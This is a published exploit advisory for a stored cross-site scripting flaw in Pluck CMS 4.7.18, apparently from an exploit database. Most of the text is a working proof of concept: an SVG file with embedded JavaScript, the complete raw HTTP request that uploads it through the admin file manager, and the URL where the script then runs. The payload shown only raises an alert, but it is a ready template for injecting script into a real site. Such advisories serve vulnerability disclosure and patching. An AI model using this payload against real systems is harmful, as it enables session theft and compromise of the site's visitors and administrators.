Pluck CMS 4.7.18 Cross Site Scripting

Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)Application: pluckVersion: 4.7.18Bugs:  XSSTechnology: PHPVendor URL: https://github.com/pluck-cms/pluckSoftware Link: https://github.com/pluck-cms/pluckDate of found: 01-05-2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. create .svg file.2. svg file content:<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)poc requestPOST /pluck-4.7.18/admin.php?action=files HTTP/1.1Host: localhostContent-Length: 672Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/pluck-4.7.18/admin.php?action=filesAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8deConnection: close------WebKitFormBoundaryJMTiFxESCx7aNqmIContent-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>------WebKitFormBoundaryJMTiFxESCx7aNqmIContent-Disposition: form-data; name="submit"Upload------WebKitFormBoundaryJMTiFxESCx7aNqmI--4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg